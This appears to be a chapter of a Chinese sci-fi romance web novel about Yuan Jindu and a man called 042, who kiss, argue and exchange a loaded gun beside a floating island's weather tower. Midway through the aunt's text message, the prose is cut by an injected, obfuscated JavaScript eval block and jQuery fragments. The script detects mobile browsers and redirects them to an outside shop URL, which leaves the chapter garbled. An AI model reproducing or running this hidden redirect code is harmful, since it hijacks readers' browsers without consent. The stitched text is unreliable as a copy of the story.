“……这里是地球星航与地面广播,接下来是听众朋友们喜欢的读信解答环节~来看一位浮空岛朋友的来信……消失好多年的女朋友回来了,但她是我无法留住的人,无论钱还是名她都不感兴趣,无论亲情友情还是爱情,她也说弃就弃,她仍然会随时从我的世界消失,我不知道她需要什么,或许她迷恋过我的身体,这样的人,我该怎样让她永远留在我身边……”
红色的跑车停在繁华街道,驾驶位的门敞开着,车载广播中传来主持人调侃的笑声:“这个是炮友来信吗?哈哈哈,从你的来信中判断,她也不是什么都不图,她起码图色……好的我们正经给出建议,这位朋友,用爱!爱!爱才是最牢固的粘合剂!”
元锦都眯着眼喝着能量汽水,粉色的吸管,粉色的汁液,升腾的气泡。
042上车,紫罗兰色的瞳孔,关上车门后,顺手将一顶新买的草帽扣在了元锦都头上,又仔细帮她系紧带子。
他一言不发,将车一直开到浮空岛边缘,越过安全警戒线,停在无人区的白色天气塔旁。
天气塔平衡着浮空岛的气候,塔周的人工大气层折射出不同颜色的虚假极光,而真实的云层与大洋,还有所剩无几的陆地,像小心翼翼装进博物馆玻璃罩中的景观,被他们沉默地参观着。
042坐在引擎盖上伸出手,元锦都牵住他的手,踩着车座跨过挡风板,坐在了他身侧。
042静静等她喝完能量汽水,接过空瓶,撕开回收标签,在光脑中填上定位,24小时内,就会有无人回收机自动回收。
终于,再一次短暂的沉默后,042开口问她:“你为什么会同意和我约会?”
元锦都:“你认为呢?”
042的委屈显而易见,长久的沉默后,他的声音变得轻飘,再次问道:“你为什么会答应?”
“你长得好看。”元锦都轻描淡写,语气随意。
如此回答后,她看向042,被他的表情惊到了,顿了顿,她慈悲道:“当时你拉住我,要我跟你约会时的表情,就像你现在的表情,仿佛要哭出来。”
而且拉住她不让她走的那只手,在抖。
“所以你在可怜我。”042说。
“我并不觉得你可怜,我只是有许多疑惑,我好奇答案,但并不需要谁来告诉我。”
元锦都漆黑的眼珠是完整无遮的圆,不空洞却也不明亮,它大且无任何情绪,难以揣测捉摸不透,所以看久了令人恐惧不安。
她就用这样的眼眸,直勾勾看着042。
他的嘴唇,闭合的唇线总给人紧绷着的感觉,但翘起的唇峰又挑起唇线的起伏,无论乍一看还是仔细看,他好像总是在孤注一掷的倔强,却又像极了无助的撒娇。
元锦都说:“我想吻你。”
042像是被这句话劈傻了,呆愣愣没反应。
元锦都压着他的肩膀,整个人靠过去,混合着香精的勾兑桃子味儿热乎乎贴近了他的嘴唇。
那绷直的唇线松动了,微微开启。
他有着浓密的睫毛,越靠近眼尾就越上扬,眼睫形成的眼线遮掩了紫色的眼眸光,元锦都停了片刻,问他:“你和高岭之花有几分相似?”
她知道自己是故意的,并非试探,而是逗弄。
于是在即将撬开他嘴唇的刹那,042转脸,避开了她。元锦都的吻只碰到了他的嘴角。
明白到是什么碰到他嘴角后,042突然站起身,出乎意料的应激反应,转头愤恨地质问她:“你在做什么?!你知道你在做什么吗!”
还不够,他仍然生气,却不知自己在生谁的气。是无意义的嫉妒吗?还是在恼怒她的不知情。
“你了解过我吗?”042双手撑在车前,将元锦都围在他面前,“第一次约会就可以吗?”
元锦都仍然没有情绪,像在陈述她见到的事实:“可你现在的表情分明是在说,你期待我这么做。”
“你不是要见高岭之花吗?”他语气莫名其妙的扭曲。
“嗯,但这与我现在想吻你无关。”元锦都说。
他犹自生气,却毫无办法。
元锦都的光脑滴滴响了两声,是姑姑到家后发来的消息。
“我回来了,今天什么时候下课?我让你大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365068|199798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哥去接你,我们一起吃饭。”
“听到了吧?”元锦都拉住他的衬衫系带,他系好的结轻轻一扯就散了。
“我要回去了,我姑姑出差回来,晚上要家庭聚餐。”她说。
042不动,元锦都起身,被他按了回去。
接着,他再次掏出了枪。
元锦都的视线停在那支银色的蔷薇刻纹枪上,她嘴角微微动了一下。
“又要威胁我,还是要绑架我?”元锦都说。
“咔哒”,枪上了膛,又砸进她怀里,042把枪扔给了她。
“想走就朝我开枪,打死我再走。”他说。
“你在撒娇吗?”元锦都拿起枪,沉甸甸的。
“你不让吻,又不让走,那我坐在这里干什么?看你拧巴的撒娇生气吗?”她说。
突如其来的一个吻,他撞进来,先是吻,而后是他自己,撞在元锦都的怀里,他又将自己变作笼子变作绳索,将她紧紧束缚住。
很熟悉的感觉。
但事到如今,元锦都并不感到意外。
答案一直在,她也猜得到,她只是好奇缺失的部分。
“你之前,也跟谁这样舌吻过吗?”元锦都问。
042好似压抑着什么,他闷哼一声,贴过来的身体逐渐发烫,他将额头靠在她肩膀上缓神。
他在她怀里发病。
元锦都抚摸着他的头发,又帮他把凌乱垂落在脸颊旁的长发拨开。
他的衬衫摸起来冰凉又烫手,散开的衬衫系带露出了本该遮掩的脖颈。
元锦都瞥到了那个环。
她轻轻拍抚着怀中的042,轻声问他:“你是在把我当成谁的替身吗?”
“没有,你就是你,我知道。”
他比宇宙中的任何一个人都清楚,她回来了。
但她会走,等她想起来,等她解决掉他,她就会走。
“真有意思。”元锦都说。
“……明天,也想见面。”042央求着,元锦都的肩膀湿了一块,还温热着。
“嗯,明天带你去镶钻。”元锦都答应了他。